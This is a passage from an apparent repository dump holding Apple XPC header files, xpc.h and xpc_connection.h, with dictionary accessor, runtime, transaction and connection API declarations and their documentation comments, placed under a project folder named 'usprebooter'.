__IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1 XPC_NONNULL2\nxpc_object_t _Nullable\nxpc_dictionary_get_value(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_count\n *\n * @abstract\n * Returns the number of values stored in the dictionary.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @result\n * The number of values stored in the dictionary or 0 if the given object was \n * not an XPC dictionary. Calling xpc_dictionary_set_value() with a non-NULL\n * value will increment the count. Calling xpc_dictionary_set_value() with a \n * NULL value will decrement the count.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nsize_t\nxpc_dictionary_get_count(xpc_object_t xdict);\n\n/*!\n * @function xpc_dictionary_apply\n *\n * @abstract\n * Invokes the given block for every key/value pair in the dictionary.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param applier\n * The block which this function applies to every key/value pair in the \n * dictionary.\n * \n * @result\n * A Boolean indicating whether iteration of the dictionary completed\n * successfully. Iteration will only fail if the applier block returns false.\n *\n * @discussion\n * You should not modify a dictionary's contents during iteration. There is no\n * guaranteed order of iteration over dictionaries.\n */\n#ifdef __BLOCKS__\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL\nbool\nxpc_dictionary_apply(xpc_object_t xdict,\n\t\tXPC_NOESCAPE xpc_dictionary_applier_t applier);\n#endif // __BLOCKS__ \n\n/*!\n * @function xpc_dictionary_get_remote_connection\n *\n * @abstract\n * Returns the connection from which the dictionary was received.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @result\n * If the dictionary was received by a connection event handler or a dictionary\n * created through xpc_dictionary_create_reply(), a connection object over which\n * a reply message can be sent is returned. For any other dictionary, NULL is\n * returned.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_connection_t _Nullable\nxpc_dictionary_get_remote_connection(xpc_object_t xdict);\n\n#pragma mark Dictionary Primitive Setters\n/*!\n * @function xpc_dictionary_set_bool\n *\n * @abstract\n * Inserts a <code>bool</code> (primitive) value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param value\n * The <code>bool</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_bool(xpc_object_t xdict, const char *key, bool value);\n\n/*!\n * @function xpc_dictionary_set_int64\n *\n * @abstract\n * Inserts an <code>int64_t</code> (primitive) value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param value\n * The <code>int64_t</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_int64(xpc_object_t xdict, const char *key, int64_t value);\n\n/*!\n * @function xpc_dictionary_set_uint64\n *\n * @abstract\n * Inserts a <code>uint64_t</code> (primitive) value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param value\n * The <code>uint64_t</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_uint64(xpc_object_t xdict, const char *key, uint64_t value);\n\n/*!\n * @function xpc_dictionary_set_double\n *\n * @abstract\n * Inserts a <code>double</code> (primitive) value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param value\n * The <code>double</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_double(xpc_object_t xdict, const char *key, double value);\n\n/*!\n * @function xpc_dictionary_set_date\n *\n * @abstract\n * Inserts a date (primitive) value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param value\n * The date value to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_date(xpc_object_t xdict, const char *key, int64_t value);\n\n/*!\n * @function xpc_dictionary_set_data\n *\n * @abstract\n * Inserts a raw data value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param bytes\n * The bytes to insert. After calling this method, the XPC object corresponding\n * to the primitive value inserted may be safely retrieved with\n * {@link xpc_dictionary_get_value()}.\n *\n * @param length\n * The length of the data.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3\nvoid\nxpc_dictionary_set_data(xpc_object_t xdict, const char *key,\n\tconst void *XPC_SIZEDBY(length) bytes, size_t length);\n\n/*!\n * @function xpc_dictionary_set_string\n *\n * @abstract\n * Inserts a C string value into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param string\n * The C string to insert. After calling this method, the XPC object \n * corresponding to the primitive value inserted may be safely retrieved with\n * {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3\nvoid\nxpc_dictionary_set_string(xpc_object_t xdict, const char *key,\n\tconst char *string);\n\n/*!\n * @function xpc_dictionary_set_uuid\n *\n * @abstract\n * Inserts a uuid (primitive) value into an array.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param uuid\n * The <code>uuid_t</code> value to insert. After calling this method, the XPC\n * object corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3\nvoid\nxpc_dictionary_set_uuid(xpc_object_t xdict, const char *key,\n\tconst uuid_t XPC_NONNULL_ARRAY uuid);\n\n/*!\n * @function xpc_dictionary_set_fd\n *\n * @abstract\n * Inserts a file descriptor into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param fd\n * The file descriptor to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2\nvoid\nxpc_dictionary_set_fd(xpc_object_t xdict, const char *key, int fd);\n\n/*!\n * @function xpc_dictionary_set_connection\n *\n * @abstract\n * Inserts a connection into a dictionary.\n *\n * @param xdict\n * The dictionary which is to be manipulated.\n *\n * @param key\n * The key for which the primitive value shall be set.\n *\n * @param connection\n * The connection to insert. After calling this method, the XPC object\n * corresponding to the primitive value inserted may be safely retrieved\n * with {@link xpc_dictionary_get_value()}. The connection is NOT retained by\n * the dictionary.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_NONNULL3\nvoid\nxpc_dictionary_set_connection(xpc_object_t xdict, const char *key,\n\txpc_connection_t connection);\n\n#pragma mark Dictionary Primitive Getters\n/*!\n * @function xpc_dictionary_get_bool\n *\n * @abstract\n * Gets a <code>bool</code> primitive value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying <code>bool</code> value for the specified key. false if the\n * the value for the specified key is not a Boolean value or if there is no\n * value for the specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nbool\nxpc_dictionary_get_bool(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_int64\n *\n * @abstract\n * Gets an <code>int64</code> primitive value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying <code>int64_t</code> value for the specified key. 0 if the\n * value for the specified key is not a signed integer value or if there is no\n * value for the specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nint64_t\nxpc_dictionary_get_int64(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_uint64\n *\n * @abstract\n * Gets a <code>uint64</code> primitive value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying <code>uint64_t</code> value for the specified key. 0 if the\n * value for the specified key is not an unsigned integer value or if there is\n * no value for the specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nuint64_t\nxpc_dictionary_get_uint64(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_double\n *\n * @abstract\n * Gets a <code>double</code> primitive value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying <code>double</code> value for the specified key. NAN if the\n * value for the specified key is not a floating point value or if there is no\n * value for the specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\ndouble\nxpc_dictionary_get_double(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_date\n *\n * @abstract\n * Gets a date value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying date interval for the specified key. 0 if the value for the\n * specified key is not a date value or if there is no value for the specified\n * key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nint64_t\nxpc_dictionary_get_date(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_data\n *\n * @abstract\n * Gets a raw data value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @param length\n * For the data type, the third parameter, upon output, will contain the length\n * of the data corresponding to the specified key. May be NULL.\n *\n * @result\n * The underlying raw data for the specified key. NULL if the value for the\n * specified key is not a data value or if there is no value for the specified\n * key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst void * _Nullable\nxpc_dictionary_get_data(xpc_object_t xdict, const char *key,\n\tsize_t * _Nullable length);\n\n/*!\n * @function xpc_dictionary_get_string\n *\n * @abstract\n * Gets a C string value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying C string for the specified key. NULL if the value for the\n * specified key is not a C string value or if there is no value for the\n * specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nconst char * _Nullable\nxpc_dictionary_get_string(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_uuid\n *\n * @abstract\n * Gets a uuid value from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * The underlying <code>uuid_t</code> value for the specified key. NULL if the\n * value at the specified index is not a UUID value. The returned pointer may be\n * safely passed to the uuid(3) APIs.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1 XPC_NONNULL2\nconst uint8_t * _Nullable\nxpc_dictionary_get_uuid(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_dup_fd\n *\n * @abstract\n * Creates a file descriptor from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * A new file descriptor created from the value for the specified key. You are\n * responsible for close(2)ing this descriptor. -1 if the value for the\n * specified key is not a file descriptor value or if there is no value for the\n * specified key.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nint\nxpc_dictionary_dup_fd(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_create_connection\n *\n * @abstract\n * Creates a connection from a dictionary directly.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n *\n * @result\n * A new connection created from the value for the specified key. You are\n * responsible for calling xpc_release() on the returned connection. NULL if the\n * value for the specified key is not an endpoint containing a connection or if\n * there is no value for the specified key. Each call to this method for the\n * same key in the same dictionary will yield a different connection. See\n * {@link xpc_connection_create_from_endpoint()} for discussion as to the\n * responsibilities when dealing with the returned connection.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_connection_t _Nullable\nxpc_dictionary_create_connection(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_dictionary\n *\n * @abstract\n * Returns the dictionary value for the specified key.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n * \n * @result\n * The object for the specified key within the dictionary. NULL if there is no\n * value associated with the specified key, if the given object was not an\n * XPC dictionary, or if the object for the specified key is not a dictionary.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_object_t _Nullable\nxpc_dictionary_get_dictionary(xpc_object_t xdict, const char *key);\n\n/*!\n * @function xpc_dictionary_get_array\n *\n * @abstract\n * Returns the array value for the specified key.\n *\n * @param xdict\n * The dictionary object which is to be examined.\n *\n * @param key\n * The key whose value is to be obtained.\n * \n * @result\n * The object for the specified key within the dictionary. NULL if there is no\n * value associated with the specified key, if the given object was not an\n * XPC dictionary, or if the object for the specified key is not an array.\n *\n * @discussion\n * This method does not grant the caller a reference to the underlying object,\n * and thus the caller is not responsible for releasing the object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_object_t _Nullable\nxpc_dictionary_get_array(xpc_object_t xdict, const char *key);\n\n#pragma mark Runtime\n/*!\n * @function xpc_main\n * The springboard into the XPCService runtime. This function will set up your\n * service bundle's listener connection and manage it automatically. After this\n * initial setup, this function will, by default, call dispatch_main(). You may\n * override this behavior by setting the RunLoopType key in your XPC service\n * bundle's Info.plist under the XPCService dictionary.\n *\n * @param handler\n * The handler with which to accept new connections.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NORETURN XPC_NONNULL1\nvoid\nxpc_main(xpc_connection_handler_t handler);\n\n#pragma mark Transactions\n/*!\n * @function xpc_transaction_begin\n * Informs the XPC runtime that a transaction has begun and that the service\n * should not exit due to inactivity.\n * \n * @discussion\n * A service with no outstanding transactions may automatically exit due to\n * inactivity as determined by the system.\n *\n * This function may be used to manually manage transactions in cases where\n * their automatic management (as described below) does not meet the needs of an\n * XPC service. This function also updates the transaction count used for sudden\n * termination, i.e. vproc_transaction_begin(), and these two interfaces may be\n * used in combination.\n *\n * The XPC runtime will automatically begin a transaction on behalf of a service\n * when a new message is received. If no reply message is expected, the\n * transaction is automatically ended when the last reference to the message is released.\n * If a reply message is created, the transaction will end when the reply\n * message is sent or released. An XPC service may use xpc_transaction_begin()\n * and xpc_transaction_end() to inform the XPC runtime about activity that\n * occurs outside of this common pattern.\n *\n * On macOS, when the XPC runtime has determined that the service should exit,\n * the event handlers for all active peer connections will receive\n * {@link XPC_ERROR_TERMINATION_IMMINENT} as an indication that they should\n * unwind their existing transactions. After this error is delivered to a\n * connection's event handler, no more messages will be delivered to the\n * connection.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_TRANSACTION_DEPRECATED\nXPC_EXPORT\nvoid\nxpc_transaction_begin(void);\n\n/*!\n * @function xpc_transaction_end\n * Informs the XPC runtime that a transaction has ended.\n * \n * @discussion\n * As described in {@link xpc_transaction_begin()}, this API may be used\n * interchangeably with vproc_transaction_end().\n *\n * See the discussion for {@link xpc_transaction_begin()} for details regarding\n * the XPC runtime's idle-exit policy.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_TRANSACTION_DEPRECATED\nXPC_EXPORT\nvoid\nxpc_transaction_end(void);\n\n#pragma mark XPC Event Stream\n/*!\n * @function xpc_set_event_stream_handler\n * Sets the event handler to invoke when streamed events are received.\n *\n * @param stream\n * The name of the event stream for which this handler will be invoked.\n *\n * @param targetq\n * The GCD queue to which the event handler block will be submitted. This\n * parameter may be NULL, in which case the connection's target queue will be\n * libdispatch's default target queue, defined as DISPATCH_TARGET_QUEUE_DEFAULT.\n * \n * @param handler\n * The event handler block. The event which this block receives as its first\n * parameter will always be a dictionary which contains the XPC_EVENT_KEY_NAME\n * key. The value for this key will be a string whose value is the name assigned\n * to the XPC event specified in the launchd.plist. Future keys may be added to\n * this dictionary.\n *\n * @discussion\n * Multiple calls to this function for the same event stream will result in\n * undefined behavior.\n *\n * There is no API to pause delivery of XPC events. If a process that\n * has set an XPC event handler exits, events may be dropped due to races\n * between the event handler running and the process exiting.\n */\n#if __BLOCKS__\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL3\nvoid\nxpc_set_event_stream_handler(const char *stream,\n\tdispatch_queue_t _Nullable targetq, xpc_handler_t handler);\n#endif // __BLOCKS__ \n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __XPC_H__ \n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/xpc_connection.h",
    "content": "#ifndef __XPC_CONNECTION_H__\n#define __XPC_CONNECTION_H__\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n// For HeaderDoc.\n#include \"base.h\"\n#endif // __XPC_INDIRECT__\n\n#ifndef __BLOCKS__\n#error \"XPC connections require Blocks support.\"\n#endif // __BLOCKS__\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n/*!\n * @constant XPC_ERROR_CONNECTION_INTERRUPTED\n * Will be delivered to the connection's event handler if the remote service\n * exited. The connection is still live even in this case, and resending a\n * message will cause the service to be launched on-demand. This error serves\n * as a client's indication that it should resynchronize any state that it had\n * given the service.\n *\n * Any messages in the queue to be sent will be unwound and canceled when this\n * error occurs. In the case where a message waiting to be sent has a reply\n * handler, that handler will be invoked with this error. In the context of the\n * reply handler, this error indicates that a reply to the message will never\n * arrive.\n *\n * Messages that do not have reply handlers associated with them will be\n * silently disposed of. This error will only be given to peer connections.\n */\n#define XPC_ERROR_CONNECTION_INTERRUPTED \\\n\tXPC_GLOBAL_OBJECT(_xpc_error_connection_interrupted)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst struct _xpc_dictionary_s _xpc_error_connection_interrupted;\n\n/*!\n * @constant XPC_ERROR_CONNECTION_INVALID\n * Will be delivered to the connection's event handler if the named service\n * provided to xpc_connection_create() could not be found in the XPC service\n * namespace. The connection is useless and should be disposed of.\n *\n * Any messages in the queue to be sent will be unwound and canceled when this\n * error occurs, similarly to the behavior when XPC_ERROR_CONNECTION_INTERRUPTED\n * occurs. The only difference is that the XPC_ERROR_CONNECTION_INVALID will be\n * given to outstanding reply handlers and the connection's event handler.\n *\n * This error may be given to any type of connection.\n */\n#define XPC_ERROR_CONNECTION_INVALID \\\n\tXPC_GLOBAL_OBJECT(_xpc_error_connection_invalid)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst struct _xpc_dictionary_s _xpc_error_connection_invalid;\n\n/*!\n * @constant XPC_ERROR_TERMINATION_IMMINENT\n * On macOS, this error will be delivered to a peer connection's event handler\n * when the XPC runtime has determined that the program should exit and that\n * all outstanding transactions must be wound down, and no new transactions can\n * be opened.\n *\n * After this error has been delivered to the event handler, no more messages\n * will be received by the connection. The runtime will still attempt to deliver\n * outgoing messages, but this error should be treated as an indication that\n * the program will exit very soon, and any outstanding business over the\n * connection should be wrapped up as quickly as possible and the connection\n * canceled shortly thereafter.\n *\n * This error will only be delivered to peer connections received through a\n * listener or the xpc_main() event handler.\n */\n#define XPC_ERROR_TERMINATION_IMMINENT \\\n\tXPC_GLOBAL_OBJECT(_xpc_error_termination_imminent)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst struct _xpc_dictionary_s _xpc_error_termination_imminent;\n\n/*!\n * @constant XPC_ERROR_PEER_CODE_SIGNING_REQUIREMENT\n * On macOS, this error will be delivered to a peer connection's event handler\n * when the XPC runtime has detected that a peer connection does not\n * satisfy the code signing requirement specified for the connection.\n *\n * See {@link xpc_connection_set_peer_code_signing_requirement}\n */\n#define XPC_ERROR_PEER_CODE_SIGNING_REQUIREMENT \\\n\tXPC_GLOBAL_OBJECT(_xpc_error_peer_code_signing_requirement)\n__API_AVAILABLE(macos(12.0))\nXPC_EXPORT\nconst struct _xpc_dictionary_s _xpc_error_peer_code_signing_requirement;\n\n/*!\n * @constant XPC_CONNECTION_MACH_SERVICE_LISTENER\n * Passed to xpc_connection_create_mach_service(). This flag indicates that the\n * caller is the listener for the named service. This flag may only be passed\n * for services which are advertised in the process' launchd.plist(5). You may\n * not use this flag to dynamically add services to the Mach bootstrap\n * namespace.\n */\n#define XPC_CONNECTION_MACH_SERVICE_LISTENER (1 << 0)\n\n/*!\n * @constant XPC_CONNECTION_MACH_SERVICE_PRIVILEGED\n * Passed to xpc_connection_create_mach_service(). This flag indicates that the\n * job advertising the service name in its launchd.plist(5) should be in the\n * privileged Mach bootstrap. This is typically accomplished by placing your\n * launchd.plist(5) in /Library/LaunchDaemons. If specified alongside the\n * XPC_CONNECTION_MACH_SERVICE_LISTENER flag, this flag is a no-op.\n */\n#define XPC_CONNECTION_MACH_SERVICE_PRIVILEGED (1 << 1)\n\n/*!\n * @typedef xpc_finalizer_f\n * A function that is invoked when a connection is being torn down and its\n * context needs to be freed. The sole argument is the value that was given to\n * {@link xpc_connection_set_context} or NULL if no context has been set. It is\n * not safe to reference the connection from within this function.\n *\n * @param value\n * The context object that is to be disposed of.\n */\ntypedef void (*xpc_finalizer_t)(void * _Nullable value);\n\n/*!\n * @function xpc_connection_create\n * Creates a new connection object.\n *\n * @param name\n * If non-NULL, the name of the service with which to connect. The returned\n * connection will be a peer.\n *\n * If NULL, an anonymous listener connection will be created. You can embed the\n * ability to create new peer connections in an endpoint, which can be inserted\n * into a message and sent to another process .\n *\n * @param targetq\n * The GCD queue to which the event handler block will be submitted. This\n * parameter may be NULL, in which case the connection's target queue will be\n * libdispatch's default target queue, defined as DISPATCH_TARGET_QUEUE_DEFAULT.\n * The target queue may be changed later with a call to\n * xpc_connection_set_target_queue().\n *\n * @result\n * A new connection object. The caller is responsible for disposing of the\n * returned object with {@link xpc_release} when it is no longer needed.\n *\n * @discussion\n * This method will succeed even if the named service does not exist. This is\n * because the XPC namespace is not queried for the service name until the\n * connection has been activated. See {@link xpc_connection_activate()}.\n *\n * XPC connections, like dispatch sources, are returned in an inactive state, so\n * you must call {@link xpc_connection_activate()} in order to begin receiving\n * events from the connection. Also like dispatch sources, connections must be\n * activated and not suspended in order to be safely released. It is\n * a programming error to release an inactive or suspended connection.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_connection_t\nxpc_connection_create(const char * _Nullable name,\n\tdispatch_queue_t _Nullable targetq);\n\n/*!\n * @function xpc_connection_create_mach_service\n * Creates a new connection object representing a Mach service.\n *\n * @param name\n * The name of the remote service with which to connect. The service name must\n * exist in a Mach bootstrap that is accessible to the process and be advertised\n * in a launchd.plist.\n *\n * @param targetq\n * The GCD queue to which the event handler block will be submitted. This\n * parameter may be NULL, in which case the connection's target queue will be\n * libdispatch's default target queue, defined as DISPATCH_TARGET_QUEUE_DEFAULT.\n * The target queue may be changed later with a call to\n * xpc_connection_set_target_queue().\n *\n * @param flags\n * Additional attributes with which to create the connection.\n *\n * @result\n * A new connection object.\n *\n * @discussion\n * If the XPC_CONNECTION_MACH_SERVICE_LISTENER flag is given to this method,\n * then the connection returned will be a listener connection. Otherwise, a peer\n * connection will be returned. See the documentation for\n * {@link xpc_connection_set_event_handler()} for the semantics of listener\n * connections versus peer connections.\n *\n * This method will succeed even if the named service does not exist. This is\n * because the Mach namespace is not queried for the service name until the\n * connection has been activated. See {@link xpc_connection_activate()}.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_connection_t\nxpc_connection_create_mach_service(const char *name,\n\tdispatch_queue_t _Nullable targetq, uint64_t flags);\n\n/*!\n * @function xpc_connection_create_from_endpoint\n * Creates a new connection from the given endpoint.\n *\n * @param endpoint\n * The endpoint from which to create the new connection.\n *\n * @result\n * A new peer connection to the listener represented by the given endpoint.\n *\n * The same responsibilities of setting an event handler and activating the\n * connection after calling xpc_connection_create() apply to the connection\n * returned by this API. Since the connection yielded by this API is not\n * associated with a name (and therefore is not rediscoverable), this connection\n * will receive XPC_ERROR_CONNECTION_INVALID if the listening side crashes,\n * exits or cancels the listener connection.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL_ALL\nxpc_connection_t\nxpc_connection_create_from_endpoint(xpc_endpoint_t endpoint);\n\n/*!\n * @function xpc_connection_set_target_queue\n * Sets the target queue of the given connection.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * @param targetq\n * The GCD queue to which the event handler block will be submitted. This\n * parameter may be NULL, in which case the connection's target queue will be\n * libdispatch's default target queue, defined as DISPATCH_TARGET_QUEUE_DEFAULT.\n *\n * @discussion\n * Setting the target queue is asynchronous and non-preemptive and therefore\n * this method will not interrupt the execution of an already-running event\n * handler block. Setting the target queue may be likened to issuing a barrier\n * to the connection which does the actual work of changing the target queue.\n *\n * The XPC runtime guarantees this non-preemptiveness even for concurrent target\n * queues. If the target queue is a concurrent queue, then XPC still guarantees\n * that there will never be more than one invocation of the connection's event\n * handler block executing concurrently. If you wish to process events\n * concurrently, you can dispatch_async(3) to a concurrent queue from within\n * the event handler.\n *\n * IMPORTANT: When called from within the event handler block,\n * dispatch_get_current_queue(3) is NOT guaranteed to return a pointer to the\n * queue set with this method.\n *\n * Despite this seeming inconsistency, the XPC runtime guarantees that, when the\n * target queue is a serial queue, the event handler block will execute\n * synchronously with respect to other blocks submitted to that same queue. When\n * the target queue is a concurrent queue, the event handler block may run\n * concurrently with other blocks submitted to that queue, but it will never run\n * concurrently with other invocations of itself for the same connection, as\n * discussed previously.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_connection_set_target_queue(xpc_connection_t connection,\n\tdispatch_queue_t _Nullable targetq);\n\n/*!\n * @function xpc_connection_set_event_handler\n * Sets the event handler block for the connection.\n *\n * @param connection\n * The connection object which is to be manipulated.\n *\n * 